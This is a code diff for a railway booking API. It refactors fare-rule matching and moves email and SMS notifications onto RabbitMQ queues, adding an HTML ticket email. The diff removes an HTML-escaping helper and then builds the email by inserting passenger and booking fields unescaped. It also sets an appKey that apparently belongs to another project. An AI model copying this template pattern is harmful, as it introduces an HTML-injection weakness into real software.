+ { tripId: scheduleId, route: fullRoute, nationality: nat },
+ { tripId: scheduleId, route: fullRoute, nationality: null },
+ { tripId: scheduleId, route: null, nationality: nat },
+ { tripId: scheduleId, route: null, nationality: null },
+ { tripId: null, route: segmentRoute, nationality: nat },
+ { tripId: null, route: segmentRoute, nationality: null },
+ { tripId: null, route: fullRoute, nationality: nat },
+ { tripId: null, route: fullRoute, nationality: null },
+ { tripId: null, route: null, nationality: nat },
+ { tripId: null, route: null, nationality: null },
+ ];
+ for (const p of priorities) {
+ const match = candidates.find(
+ c => c.tripId === p.tripId && c.route === p.route && c.nationality === p.nationality,
+ );
+ if (match) return match;
+ }
+ return null;
+ }
+
async calculateForSchedule(scheduleId: string, seatClassId: string, nationality?: string) {
const schedule = await this.prisma.trainSchedule.findUnique({
where: { id: scheduleId },
@@ -175,6 +242,7 @@ export class FareEngineService {
destinationStationId: schedule.destinationStationId,
seatClassId,
nationality,
+ scheduleId,
});
}
@@ -199,6 +267,7 @@ export class FareEngineService {
destinationStationId: schedule.destinationStationId,
seatClassId: sc.id,
nationality,
+ scheduleId,
}).catch(() => null),
),
);
diff --git a/apps/edr-passenger-api/src/modules/notifications/dtos/email.dto.ts b/apps/edr-passenger-api/src/modules/notifications/dtos/email.dto.ts
index 63bbc4a5a..c8fbb74c9 100644
--- a/apps/edr-passenger-api/src/modules/notifications/dtos/email.dto.ts
+++ b/apps/edr-passenger-api/src/modules/notifications/dtos/email.dto.ts
@@ -1,8 +1,44 @@
+import { ApiProperty, ApiPropertyOptional } from '@nestjs/swagger';
+import { IsEmail, IsNotEmpty, IsOptional, IsString } from 'class-validator';
+
export class SendEmail {
+ @ApiProperty()
+ @IsEmail()
+ @IsNotEmpty()
to: string;
+
+ @ApiPropertyOptional()
+ @IsOptional()
+ @IsString()
+ sourceId?: string;
+
+ @ApiPropertyOptional()
+ @IsOptional()
+ @IsString()
+ sourceName?: string;
+
+ @ApiProperty()
+ @IsNotEmpty()
+ @IsString()
subject: string;
- body: string;
+
+ @ApiPropertyOptional()
+ @IsOptional()
+ @IsString()
html?: string;
- templateKey?: string;
- context?: Record;
+
+ @ApiPropertyOptional()
+ @IsOptional()
+ @IsString()
+ text?: string;
+
+ @ApiPropertyOptional()
+ @IsOptional()
+ body?: string;
+
+ @ApiPropertyOptional()
+ @IsOptional()
+ context?: Record;
+
+
}
diff --git a/apps/edr-passenger-api/src/modules/notifications/dtos/sms.dto.ts b/apps/edr-passenger-api/src/modules/notifications/dtos/sms.dto.ts
index 1897f7794..ea91f89a2 100644
--- a/apps/edr-passenger-api/src/modules/notifications/dtos/sms.dto.ts
+++ b/apps/edr-passenger-api/src/modules/notifications/dtos/sms.dto.ts
@@ -1,9 +1,46 @@
+import { ApiProperty, ApiPropertyOptional } from '@nestjs/swagger';
+import { IsArray, IsNotEmpty, IsOptional, IsString, ValidateNested } from 'class-validator';
+import { Type } from 'class-transformer';
+
export class SendMessage {
+ @ApiProperty()
+ @IsNotEmpty()
+ @IsString()
to: string;
+
+ @ApiProperty()
+ @IsNotEmpty()
+ @IsString()
message: string;
+
+ @ApiPropertyOptional()
+ @IsOptional()
+ @IsString()
from?: string;
}
+export class SingleMessageDto {
+ @ApiProperty({
+ description: 'Recipient phone number',
+ example: '+1234567890',
+ })
+ @IsString()
+ @IsNotEmpty()
+ to: string;
+
+ @ApiProperty({
+ description: 'Message content',
+ example: 'Test Single SMS from',
+ })
+ @IsString()
+ @IsNotEmpty()
+ message: string;
+}
+
export class BulkMessagesDto {
+ @ApiProperty({ type: [SendMessage] })
+ @IsArray()
+ @ValidateNested({ each: true })
+ @Type(() => SendMessage)
messages: SendMessage[];
}
diff --git a/apps/edr-passenger-api/src/modules/notifications/email-client.service.ts b/apps/edr-passenger-api/src/modules/notifications/email-client.service.ts
index 8fcb82394..e50ac8037 100644
--- a/apps/edr-passenger-api/src/modules/notifications/email-client.service.ts
+++ b/apps/edr-passenger-api/src/modules/notifications/email-client.service.ts
@@ -1,28 +1,50 @@
-import { Inject, Injectable, Logger, OnApplicationBootstrap } from '@nestjs/common';
-import { ClientProxy } from '@nestjs/microservices';
-import { SendEmail } from './dtos/email.dto';
+import {
+ Inject,
+ Injectable,
+ Logger,
+ OnApplicationBootstrap,
+} from "@nestjs/common";
+import { ClientProxy } from "@nestjs/microservices";
+import { SendEmail } from "./dtos/email.dto";
@Injectable()
export class EmailClientService implements OnApplicationBootstrap {
private readonly logger = new Logger(EmailClientService.name);
constructor(
- @Inject('EMAIL_SERVICE')
+ @Inject("EMAIL_SERVICE")
private readonly emailServiceClient: ClientProxy,
) {}
+ private readonly enabled = process.env.RABBITMQ_ENABLED !== "false";
+
async onApplicationBootstrap() {
+ if (!this.enabled) return;
this.emailServiceClient
.connect()
- .then(() => this.logger.log('Connected to Email service'))
- .catch((err) => this.logger.error('Error connecting to Email service', err));
+ .then(() => this.logger.log("Connected to Email service"))
+ .catch((err) =>
+ this.logger.error("Error connecting to Email service", err),
+ );
}
- async sendEmail(dto: SendEmail) {
- this.emailServiceClient.emit('send-email', {
+ async sendEmail(dto: SendEmail): Promise<{ queued: boolean }> {
+ if (!this.enabled) {
+ this.logger.warn(`RABBITMQ disabled — skipped EMAIL`);
+ return { queued: false };
+ }
+ this.emailServiceClient.emit("send-email", {
...dto,
- appKey: 'EDR-PASSENGER-API',
+ appKey: "IFHCRS-LICENSE-MANAGEMENT",
});
- return {};
+ // Fire-and-forget enqueue: this confirms the message was handed to RabbitMQ, NOT delivered.
+ this.logger.log(
+ `EMAIL queued to RabbitMQ [${process.env.EMAIL_QUEUE ?? "email_queue"}] pattern='send-email'`,
+ );
+ // Recipient + content are PII — keep them at debug level only.
+ this.logger.debug(
+ `EMAIL payload to=${dto.to} subject="${dto.subject ?? ""}" body="${dto.text ?? dto.body ?? dto.html ?? ""}"`,
+ );
+ return { queued: true };
}
}
diff --git a/apps/edr-passenger-api/src/modules/notifications/notification.adapters.ts b/apps/edr-passenger-api/src/modules/notifications/notification.adapters.ts
index c7db1a0a4..b7df05276 100644
--- a/apps/edr-passenger-api/src/modules/notifications/notification.adapters.ts
+++ b/apps/edr-passenger-api/src/modules/notifications/notification.adapters.ts
@@ -1,199 +1,10 @@
import { Injectable, Logger } from '@nestjs/common';
import { ConfigService } from '@nestjs/config';
-import * as sgMail from '@sendgrid/mail';
-import { HttpService } from '@nestjs/axios';
-import { firstValueFrom } from 'rxjs';
export interface NotificationChannel {
send(recipient: string, subject: string, body: string, context?: Record): Promise;
}
-@Injectable()
-export class EmailAdapter implements NotificationChannel {
- private readonly logger = new Logger(EmailAdapter.name);
-
- constructor(private readonly config: ConfigService) {
- const apiKey = this.config.get('SENDGRID_API_KEY');
- if (apiKey) {
- sgMail.setApiKey(apiKey);
- this.logger.log('SendGrid Email adapter initialized');
- } else {
- this.logger.warn('SENDGRID_API_KEY not configured - emails will be logged only');
- }
- }
-
- async send(
- recipient: string,
- subject: string,
- body: string,
- context?: Record,
- ): Promise {
- const apiKey = this.config.get('SENDGRID_API_KEY');
- const fromEmail = this.config.get('SENDGRID_FROM_EMAIL') || 'noreply@edr-platform.com';
-
- if (!apiKey) {
- this.logger.log(`[EMAIL MOCK] To: ${recipient} | Subject: ${subject} | Body: ${body.substring(0, 100)}`);
- return true;
- }
-
- try {
- const msg: sgMail.MailDataRequired = {
- to: recipient,
- from: fromEmail,
- subject,
- text: body,
- html: this.formatHtml(body, context),
- };
-
- await sgMail.send(msg);
- this.logger.log(`Email sent successfully to ${recipient}`);
- return true;
- } catch (err) {
- const message = err instanceof Error ? err.message : String(err);
- this.logger.error(`Failed to send email to ${recipient}: ${message}`);
- return false;
- }
- }
-
- private formatHtml(body: string, context?: Record): string {
- const contextHtml = context
- ? `
- ${JSON.stringify(context, null, 2)}
-
`
- : '';
-
- return `
-
-
-
-
-
-
-
-
-
-
- ${body.replace(/\n/g, ' ')}
- ${contextHtml}
-
-
-
-
-
- `;
- }
-}
-
-@Injectable()
-export class SmsAdapter implements NotificationChannel {
- private readonly logger = new Logger(SmsAdapter.name);
-
- constructor(
- private readonly config: ConfigService,
- private readonly http: HttpService,
- ) {
- const provider = this.config.get('SMS_PROVIDER');
- this.logger.log(`SMS adapter initialized with provider: ${provider || 'MOCK'}`);
- }
-
- async send(
- recipient: string,
- subject: string,
- body: string,
- _context?: Record,
- ): Promise {
- const provider = this.config.get('SMS_PROVIDER');
- const apiKey = this.config.get('SMS_API_KEY');
-
- if (!provider || !apiKey) {
- this.logger.log(`[SMS MOCK] To: ${recipient} | Message: ${body.substring(0, 100)}`);
- return true;
- }
-
- try {
- switch (provider.toLowerCase()) {
- case 'twilio':
- return await this.sendViaTwilio(recipient, body);
- case 'africastalking':
- return await this.sendViaAfricasTalking(recipient, body);
- default:
- this.logger.warn(`Unknown SMS provider: ${provider}`);
- return false;
- }
- } catch (err) {
- const message = err instanceof Error ? err.message : String(err);
- this.logger.error(`Failed to send SMS to ${recipient}: ${message}`);
- return false;
- }
- }
-
- private async sendViaTwilio(to: string, body: string): Promise {
- const accountSid = this.config.get('TWILIO_ACCOUNT_SID');
- const authToken = this.config.get('TWILIO_AUTH_TOKEN');
- const fromNumber = this.config.get('TWILIO_FROM_NUMBER');
-
- const url = `https://api.twilio.com/2010-04-01/Accounts/${accountSid}/Messages.json`;
- const auth = Buffer.from(`${accountSid}:${authToken}`).toString('base64');
-
- const response = await firstValueFrom(
- this.http.post(
- url,
- new URLSearchParams({
- To: to,
- From: fromNumber || '',
- Body: body,
- }),
- {
- headers: {
- 'Content-Type': 'application/x-www-form-urlencoded',
- 'Authorization': `Basic ${auth}`,
- },
- },
- ),
- );
-
- return response.status === 201;
- }
-
- private async sendViaAfricasTalking(to: string, body: string): Promise {
- const apiKey = this.config.get('SMS_API_KEY');
- const username = this.config.get('AFRICASTALKING_USERNAME');
- const from = this.config.get('AFRICASTALKING_FROM');
-
- const url = 'https://api.africastalking.com/version1/messaging';
-
- const response = await firstValueFrom(
- this.http.post(
- url,
- new URLSearchParams({
- username: username || '',
- to,
- message: body,
- from: from || '',
- }),
- {
- headers: {
- 'Content-Type': 'application/x-www-form-urlencoded',
- 'apiKey': apiKey || '',
- },
- },
- ),
- );
-
- return response.status === 201;
- }
-}
-
@Injectable()
export class PushAdapter implements NotificationChannel {
private readonly logger = new Logger(PushAdapter.name);
diff --git a/apps/edr-passenger-api/src/modules/notifications/notifications.controller.ts b/apps/edr-passenger-api/src/modules/notifications/notifications.controller.ts
index 9fd69830c..b622e3b7d 100644
--- a/apps/edr-passenger-api/src/modules/notifications/notifications.controller.ts
+++ b/apps/edr-passenger-api/src/modules/notifications/notifications.controller.ts
@@ -7,7 +7,7 @@ import { TestNotificationDto } from './notifications.dto';
import { EmailClientService } from './email-client.service';
import { SmsClientService } from './sms-client.service';
import { SendEmail } from './dtos/email.dto';
-import { SendMessage } from './dtos/sms.dto';
+import { BulkMessagesDto, SingleMessageDto } from './dtos/sms.dto';
@ApiTags('Notifications')
@Controller('notifications')
@@ -51,11 +51,20 @@ export class NotificationsController {
@UseGuards(IamGuard)
@IamRoles('ADMIN', 'STAFF')
@ApiOperation({ summary: 'Send a direct SMS via the SMS microservice' })
- @ApiBody({ type: SendMessage })
- sendSms(@Body() dto: SendMessage) {
+ @ApiBody({ type: SingleMessageDto })
+ sendSms(@Body() dto: SingleMessageDto) {
return this.smsClient.sendSms(dto);
}
+ @Post('send/sms/bulk')
+ @UseGuards(IamGuard)
+ @IamRoles('ADMIN', 'STAFF')
+ @ApiOperation({ summary: 'Send bulk SMS messages via the SMS microservice' })
+ @ApiBody({ type: BulkMessagesDto })
+ sendBulkSms(@Body() dto: BulkMessagesDto) {
+ return this.smsClient.sendBulkMessages(dto);
+ }
+
@Post('test')
@UseGuards(IamGuard)
@IamRoles('ADMIN', 'STAFF')
diff --git a/apps/edr-passenger-api/src/modules/notifications/notifications.module.ts b/apps/edr-passenger-api/src/modules/notifications/notifications.module.ts
index f209ccf17..c76a7e0bd 100644
--- a/apps/edr-passenger-api/src/modules/notifications/notifications.module.ts
+++ b/apps/edr-passenger-api/src/modules/notifications/notifications.module.ts
@@ -1,52 +1,40 @@
import { Module } from '@nestjs/common';
import { HttpModule } from '@nestjs/axios';
-import { ConfigModule, ConfigService } from '@nestjs/config';
import { ClientsModule, Transport } from '@nestjs/microservices';
import { NotificationsController } from './notifications.controller';
import { NotificationsService } from './notifications.service';
-import { EmailAdapter, SmsAdapter, PushAdapter } from './notification.adapters';
+import { PushAdapter } from './notification.adapters';
import { EmailClientService } from './email-client.service';
import { SmsClientService } from './sms-client.service';
@Module({
imports: [
+ // Required by IamGuard (injects HttpService) used in NotificationsController.
HttpModule.register({ timeout: 10_000 }),
- ClientsModule.registerAsync([
+ ClientsModule.register([
{
name: 'EMAIL_SERVICE',
- imports: [ConfigModule],
- inject: [ConfigService],
- useFactory: (config: ConfigService) => ({
- transport: Transport.RMQ,
- options: {
- urls: [config.get('RABBITMQ_URL') ?? 'amqp://localhost:5672'],
- queue: config.get('EMAIL_QUEUE') ?? 'email_queue',
- queueOptions: { durable: true },
- noAck: true,
- },
- }),
+ transport: Transport.RMQ,
+ options: {
+ urls: [process.env.RABBITMQ_URL as string],
+ queue: process.env.EMAIL_QUEUE ?? 'email_queue',
+ queueOptions: { durable: true },
+ },
},
{
name: 'SMS_SERVICE',
- imports: [ConfigModule],
- inject: [ConfigService],
- useFactory: (config: ConfigService) => ({
- transport: Transport.RMQ,
- options: {
- urls: [config.get('RABBITMQ_URL') ?? 'amqp://localhost:5672'],
- queue: config.get('SMS_QUEUE') ?? 'sms_queue',
- queueOptions: { durable: true },
- noAck: true,
- },
- }),
+ transport: Transport.RMQ,
+ options: {
+ urls: [process.env.RABBITMQ_URL as string],
+ queue: process.env.SMS_QUEUE ?? 'sms_queue',
+ queueOptions: { durable: true },
+ },
},
]),
],
controllers: [NotificationsController],
providers: [
NotificationsService,
- EmailAdapter,
- SmsAdapter,
PushAdapter,
EmailClientService,
SmsClientService,
diff --git a/apps/edr-passenger-api/src/modules/notifications/notifications.service.ts b/apps/edr-passenger-api/src/modules/notifications/notifications.service.ts
index 68d76572c..0c6add4b2 100644
--- a/apps/edr-passenger-api/src/modules/notifications/notifications.service.ts
+++ b/apps/edr-passenger-api/src/modules/notifications/notifications.service.ts
@@ -1,7 +1,6 @@
import { Injectable, Logger } from '@nestjs/common';
import { OnEvent } from '@nestjs/event-emitter';
import { PrismaService } from '../../common/prisma.service';
-import { SendNotificationDto, NotificationCategoryEnum } from './notifications.dto';
import { PushAdapter, NotificationChannel } from './notification.adapters';
import { EmailClientService } from './email-client.service';
import { SmsClientService } from './sms-client.service';
@@ -20,8 +19,8 @@ export class NotificationsService {
private pushAdapter: PushAdapter,
) {
this.channels = new Map([
- ['EMAIL', { send: (to, subject, body) => this.emailClient.sendEmail({ to, subject, body }).then(() => true) }],
- ['SMS', { send: (to, _subject, body) => this.smsClient.sendSms({ to, message: body }).then(() => true) }],
+ ['EMAIL', { send: (to, subject, body) => this.emailClient.sendEmail({ to, subject, text: body }).then((r) => r.queued) }],
+ ['SMS', { send: (to, _subject, body) => this.smsClient.sendSms({ to, message: body }).then((r) => r.queued) }],
['PUSH', this.pushAdapter as NotificationChannel],
]);
}
@@ -38,27 +37,38 @@ export class NotificationsService {
recipient: string,
context: Record,
channels?: NotificationChannelType[],
- ): Promise<{ sent: boolean; channels: string[] }> {
+ ): Promise<{ queued: boolean; channels: string[] }> {
const template = await this.prisma.notificationTemplate.findUnique({
where: { code: templateKey },
});
if (!template || !template.active) {
this.logger.warn(`Template ${templateKey} not found or inactive`);
- return { sent: false, channels: [] };
+ return { queued: false, channels: [] };
}
const { subject, body } = this.interpolate(template, context);
- const targetChannels = channels || await this.getUserPreferredChannels(recipient);
- const sentChannels: string[] = [];
- // Always create in-app notification
- if (targetChannels.includes('IN_APP')) {
- await this.createInAppNotification(recipient, subject, body, context);
- sentChannels.push('IN_APP');
+ // Channel resolution: explicit argument wins; otherwise honor the template's declared
+ // channel(s); otherwise fall back to the recipient's preferences.
+ let targetChannels: NotificationChannelType[];
+ if (channels) {
+ targetChannels = channels;
+ } else if (template.channel) {
+ targetChannels = this.parseTemplateChannels(template.channel);
+ } else {
+ targetChannels = await this.getUserPreferredChannels(recipient);
+ }
+
+ // Channels successfully handed off (in-app persisted / email+SMS enqueued to RabbitMQ).
+ // NOTE: enqueue is fire-and-forget — this is NOT a delivery confirmation.
+ const queuedChannels: string[] = [];
+
+ if (targetChannels.includes('IN_APP')) {
+ await this.createInAppNotification(recipient, subject, body, context);
+ queuedChannels.push('IN_APP');
}
- // Send via other channels
for (const channelType of targetChannels) {
if (channelType === 'IN_APP') continue;
@@ -74,44 +84,26 @@ export class NotificationsService {
continue;
}
- const success = await adapter.send(recipientAddress, subject, body, context);
- if (success) {
- sentChannels.push(channelType);
+ const queued = await adapter.send(recipientAddress, subject, body, context);
+ if (queued) {
+ queuedChannels.push(channelType);
}
}
- return { sent: sentChannels.length > 0, channels: sentChannels };
+ return { queued: queuedChannels.length > 0, channels: queuedChannels };
}
/**
- * Legacy method for backward compatibility
+ * Parses a template's `channel` column (e.g. "EMAIL" or "EMAIL,SMS") into valid channel
+ * types, always including IN_APP so an in-app record is created.
*/
- async sendDirect(dto: SendNotificationDto) {
- const notification = await this.prisma.notification.create({
- data: {
- passengerId: dto.passengerId,
- title: dto.title,
- body: dto.body,
- category: dto.category as any,
- deepLink: dto.deepLink,
- metadata: dto.metadata,
- },
- });
-
- const passenger = await this.prisma.passenger.findUnique({
- where: { id: dto.passengerId },
- include: { user: true },
- });
-
- if (passenger?.user) {
- await this.emailClient.sendEmail({
- to: passenger.user.email,
- subject: this.sanitize(dto.title),
- body: this.sanitize(dto.body),
- });
- }
-
- return notification;
+ private parseTemplateChannels(channel: string): NotificationChannelType[] {
+ const valid: NotificationChannelType[] = ['EMAIL', 'SMS', 'PUSH', 'IN_APP'];
+ const parsed = channel
+ .split(',')
+ .map((c) => c.trim().toUpperCase())
+ .filter((c): c is NotificationChannelType => valid.includes(c as NotificationChannelType));
+ return Array.from(new Set(['IN_APP', ...parsed]));
}
private async createInAppNotification(
@@ -154,22 +146,31 @@ export class NotificationsService {
template: { subject?: string | null; bodyTemplate: string },
context: Record,
): { subject: string; body: string } {
- const subject = template.subject || 'Notification';
- let body = template.bodyTemplate;
+ return {
+ subject: this.applyVars(template.subject || 'Notification', context),
+ body: this.applyVars(template.bodyTemplate, context),
+ };
+ }
- // Simple template interpolation: {{variable}}
+ /** Replaces {{variable}} placeholders in a string with values from the context. */
+ private applyVars(text: string, context: Record): string {
+ let out = text;
for (const [key, value] of Object.entries(context)) {
const regex = new RegExp(`{{\\s*${key}\\s*}}`, 'g');
- body = body.replace(regex, String(value));
+ out = out.replace(regex, String(value));
}
-
- return { subject, body };
+ return out;
}
private async getUserPreferredChannels(recipient: string): Promise {
const user = await this.prisma.user.findFirst({
where: {
- OR: [{ id: recipient }, { email: recipient }, { phone: recipient }],
+ OR: [
+ { id: recipient },
+ { email: recipient },
+ { phone: recipient },
+ { passenger: { id: recipient } },
+ ],
},
include: { preferences: true },
});
@@ -192,7 +193,12 @@ export class NotificationsService {
): Promise {
const user = await this.prisma.user.findFirst({
where: {
- OR: [{ id: recipient }, { email: recipient }, { phone: recipient }],
+ OR: [
+ { id: recipient },
+ { email: recipient },
+ { phone: recipient },
+ { passenger: { id: recipient } },
+ ],
},
});
@@ -211,12 +217,6 @@ export class NotificationsService {
}
}
- private sanitize(value: string): string {
- return value
- .replace(/[\r\n]/g, ' ')
- .replace(/[<>&"']/g, (c) => ({ '<': '<', '>': '>', '&': '&', '"': '"', "'": ''' }[c] ?? c));
- }
-
getForPassenger(passengerId: string) {
return this.prisma.notification.findMany({
where: { passengerId },
@@ -239,27 +239,238 @@ export class NotificationsService {
@OnEvent('booking.created')
async onBookingCreated(payload: any) {
+ const booking = payload.booking;
await this.send(
'booking.created',
- payload.booking.passengerId,
+ booking.passengerId,
{
- bookingRef: payload.booking.bookingRef,
+ bookingRef: booking.bookingRef,
+ amount: this.formatAmount(booking),
+ currency: booking.displayCurrency ?? 'ETB',
category: 'BOOKING',
- deepLink: `edr://bookings/${payload.booking.bookingRef}`,
+ deepLink: `edr://bookings/${booking.bookingRef}`,
},
+ // For now, always notify the travelling passenger on every channel.
+ ['IN_APP', 'EMAIL', 'SMS'],
);
}
+ /**
+ * Payment succeeded → one combined "payment successful, here is your ticket" notification.
+ * Email carries the full ticket (HTML + QR); SMS is a short pointer to view it. The shallow
+ * event payload is re-fetched with the relations needed to render the ticket.
+ */
@OnEvent('payment.succeeded')
async onPaymentSucceeded(payload: any) {
- await this.send(
- 'payment.succeeded',
- payload.booking.passengerId,
- {
- bookingRef: payload.booking.bookingRef,
- category: 'PAYMENT',
- deepLink: `edr://tickets/${payload.booking.bookingRef}`,
+ const passengerId = payload.booking.passengerId;
+ const bookingId = payload.booking.id;
+
+ const booking = await this.prisma.booking.findUnique({
+ where: { id: bookingId },
+ include: {
+ schedule: { include: { originStation: true, destinationStation: true, train: true } },
+ seats: { include: { seat: { include: { coach: { include: { coachType: true } } } } } },
},
+ });
+ const ticket = await this.prisma.ticket.findUnique({ where: { bookingId } });
+
+ const ref = booking?.bookingRef ?? payload.booking.bookingRef;
+ const amount = this.formatAmount(booking ?? payload.booking);
+ const currency = (booking ?? payload.booking).displayCurrency ?? 'ETB';
+ const ticketUrl = `${process.env.PORTAL_URL ?? 'http://localhost:5174'}/booking/confirmation?ref=${ref}`;
+
+ // IN_APP — always created.
+ await this.createInAppNotification(
+ passengerId,
+ 'Payment successful',
+ `Your payment of ${amount} ${currency} for booking ${ref} was successful. Your ticket is ready.`,
+ { category: 'PAYMENT', deepLink: `edr://tickets/${ref}` },
+ );
+
+ // Ticket not ready (generation failed/raced) — fall back to a payment-only confirmation.
+ if (!ticket || !booking) {
+ this.logger.warn(`payment.succeeded: ticket not ready for booking ${ref}; sending payment-only confirmation`);
+ const text = `EDR: Payment of ${amount} ${currency} received for booking ${ref}. Your ticket is being prepared.`;
+ await this.deliverEmail(passengerId, `Payment received — ${ref}`, text);
+ await this.deliverSms(passengerId, text);
+ return;
+ }
+
+ // SMS — short pointer (no HTML/QR over SMS).
+ await this.deliverSms(
+ passengerId,
+ `EDR: Booking ${ref} confirmed, ${amount} ${currency} paid. Show ref ${ref} at the gate or view your ticket: ${ticketUrl}`,
+ );
+
+ // EMAIL — rich HTML ticket with plain-text fallback.
+ await this.deliverEmail(
+ passengerId,
+ `Your EDR ticket — ${ref}`,
+ this.buildTicketEmailText(booking, amount, currency, ticketUrl),
+ this.buildTicketEmailHtml(booking, ticket, amount, currency, ticketUrl),
);
}
+
+ private async deliverEmail(recipient: string, subject: string, text: string, html?: string): Promise {
+ const to = await this.getRecipientAddress(recipient, 'EMAIL');
+ if (!to) {
+ this.logger.warn(`No EMAIL address for recipient: ${recipient}`);
+ return;
+ }
+ await this.emailClient.sendEmail({ to, subject, text, html });
+ }
+
+ private async deliverSms(recipient: string, message: string): Promise {
+ const to = await this.getRecipientAddress(recipient, 'SMS');
+ if (!to) {
+ this.logger.warn(`No SMS address for recipient: ${recipient}`);
+ return;
+ }
+ await this.smsClient.sendSms({ to, message });
+ }
+
+ private buildTicketEmailText(booking: any, amount: string, currency: string, url: string): string {
+ const s = booking.schedule ?? {};
+ const dep = s.departureAt ? new Date(s.departureAt).toLocaleString('en-GB') : 'TBD';
+ const passengers = (booking.seats ?? []).map((bs: any) => bs.passengerName).filter(Boolean).join(', ');
+ return [
+ `Booking ${booking.bookingRef} confirmed.`,
+ `${s.originStation?.name ?? ''} -> ${s.destinationStation?.name ?? ''}`,
+ `Train: ${s.train?.name ?? s.train?.number ?? ''}`,
+ `Departs: ${dep}`,
+ passengers ? `Passengers: ${passengers}` : '',
+ `Total paid: ${amount} ${currency}`,
+ `View your ticket: ${url}`,
+ ].filter(Boolean).join('\n');
+ }
+
+ private buildTicketEmailHtml(booking: any, ticket: any, amount: string, currency: string, url: string): string {
+ const s = booking.schedule ?? {};
+ const fmt = (d: any) =>
+ d ? new Date(d).toLocaleString('en-GB', { dateStyle: 'medium', timeStyle: 'short' }) : 'TBD';
+ const seatRows = (booking.seats ?? [])
+ .map((bs: any) => {
+ const coach = bs.seat?.coach?.number ?? '-';
+ const seatNo = bs.seat?.seatNumber ?? '-';
+ const cls = bs.seat?.coach?.coachType?.name ?? '-';
+ return `
+ ${bs.passengerName ?? ''}
+ ${coach}
+ ${seatNo}
+ ${cls}
+ `;
+ })
+ .join('');
+
+ return `
+
+
+
+
+
+
Ethio-Djibouti Railway
+
Payment successful — your ticket is ready
+
+
+
Booking reference: ${booking.bookingRef}
+
+
+ From
+ ${s.originStation?.name ?? ''} (${s.originStation?.code ?? ''})
+
+
+ To
+ ${s.destinationStation?.name ?? ''} (${s.destinationStation?.code ?? ''})
+
+
+ Train
+ ${s.train?.name ?? s.train?.number ?? ''}
+
+
+ Departs
+ ${fmt(s.departureAt)}
+
+
+ Arrives
+ ${fmt(s.arrivalAt)}
+
+
+
+
Passengers
+
+
+ Name
+ Coach
+ Seat
+ Class
+
+ ${seatRows}
+
+
+
+
Show this QR code at the gate
+
+
+
+
+
+ Total paid
+ ${amount} ${currency}
+
+
+
+
+
+
+
© Ethio-Djibouti Railway. All rights reserved.
+
+
+
+`;
+ }
+
+ @OnEvent('payment.failed')
+ async onPaymentFailed(payload: any) {
+ const booking = payload.booking;
+ await this.send(
+ 'payment.failed',
+ booking.passengerId,
+ {
+ bookingRef: booking.bookingRef,
+ category: 'PAYMENT',
+ deepLink: `edr://bookings/${booking.bookingRef}`,
+ },
+ ['IN_APP', 'EMAIL', 'SMS'],
+ );
+ }
+
+ @OnEvent('booking.cancelled')
+ async onBookingCancelled(payload: any) {
+ const booking = payload.booking;
+ await this.send(
+ 'booking.cancelled',
+ booking.passengerId,
+ {
+ bookingRef: booking.bookingRef,
+ // refundAmount is computed in ETB minor units in BookingsService.cancel().
+ refundAmount: ((payload.refundAmount ?? 0) / 100).toFixed(2),
+ currency: 'ETB',
+ category: 'BOOKING',
+ deepLink: `edr://bookings/${booking.bookingRef}`,
+ },
+ ['IN_APP', 'EMAIL', 'SMS'],
+ );
+ }
+
+ /**
+ * Formats a booking's payable amount from minor units into a major-unit string.
+ * Money is stored as integer minor units (e.g. 59600 santim) to avoid floating-point
+ * drift; we divide by 100 only here, at the display edge. e.g. 59600 -> "596.00".
+ */
+ private formatAmount(booking: any): string {
+ const minor = booking.displayTotalMinor ?? booking.totalMinor ?? 0;
+ return (minor / 100).toFixed(2);
+ }
}
\ No newline at end of file
diff --git a/apps/edr-passenger-api/src/modules/notifications/sms-client.service.ts b/apps/edr-passenger-api/src/modules/notifications/sms-client.service.ts
index 0108e0758..f94c0c20e 100644
--- a/apps/edr-passenger-api/src/modules/notifications/sms-client.service.ts
+++ b/apps/edr-passenger-api/src/modules/notifications/sms-client.service.ts
@@ -1,36 +1,68 @@
-import { Inject, Injectable, Logger, OnApplicationBootstrap } from '@nestjs/common';
-import { ClientProxy } from '@nestjs/microservices';
-import { BulkMessagesDto, SendMessage } from './dtos/sms.dto';
+import {
+ Inject,
+ Injectable,
+ Logger,
+ OnApplicationBootstrap,
+} from "@nestjs/common";
+import { ClientProxy } from "@nestjs/microservices";
+import { BulkMessagesDto, SingleMessageDto } from "./dtos/sms.dto";
@Injectable()
export class SmsClientService implements OnApplicationBootstrap {
private readonly logger = new Logger(SmsClientService.name);
constructor(
- @Inject('SMS_SERVICE')
- private readonly smsClient: ClientProxy,
+ @Inject("SMS_SERVICE")
+ private smsClient: ClientProxy,
) {}
+ private readonly enabled = process.env.RABBITMQ_ENABLED !== "false";
+
async onApplicationBootstrap() {
+ if (!this.enabled) return;
this.smsClient
.connect()
- .then(() => this.logger.log('Connected to SMS service'))
- .catch((err) => this.logger.error('Error connecting to SMS service', err));
+ .then(() => {
+ this.logger.log("connected to SMS service");
+ })
+ .catch((err) => {
+ console.error("Error happened at SMS service", err);
+ });
}
- async sendSms(dto: SendMessage) {
- this.smsClient.emit('send-sms', {
- ...dto,
- appKey: 'EDR-PASSENGER-API',
+ async sendSms(dto: SingleMessageDto): Promise<{ queued: boolean }> {
+ if (!this.enabled) {
+ this.logger.warn(`RABBITMQ disabled — skipped SMS`);
+ return { queued: false };
+ }
+ this.smsClient.emit("send-sms", {
+ to: dto.to,
+ text: dto.message,
+ appKey: "IFHCRS-LICENSE-MANAGEMENT",
});
- return {};
+ // Fire-and-forget enqueue: confirms hand-off to RabbitMQ, NOT delivery.
+ this.logger.log(
+ `SMS queued to RabbitMQ [${process.env.SMS_QUEUE ?? "sms_queue"}] pattern='send-sms'`,
+ );
+ // Recipient + content are PII — debug only.
+ this.logger.debug(`SMS payload to=${dto.to} text="${dto.message}"`);
+ return { queued: true };
}
- async sendBulkMessages(dto: BulkMessagesDto) {
- this.smsClient.emit('ozeking-bulk-sms', {
- ...dto,
- appKey: 'EDR-PASSENGER-API',
+ async sendBulkMessages(dto: BulkMessagesDto): Promise<{ queued: boolean }> {
+ if (!this.enabled) {
+ this.logger.warn(`RABBITMQ disabled — skipped BULK SMS (${dto.messages?.length ?? 0} messages)`);
+ return { queued: false };
+ }
+ const messages = (dto.messages ?? []).map((m) => ({ to: m.to, text: m.message, from: m.from }));
+ this.smsClient.emit("ozeking-bulk-sms", {
+ messages,
+ appKey: "IFHCRS-LICENSE-MANAGEMENT",
});
- return {};
+ this.logger.log(
+ `BULK SMS queued to RabbitMQ [${process.env.SMS_QUEUE ?? "sms_queue"}] pattern='ozeking-bulk-sms' count=${messages.length}`,
+ );
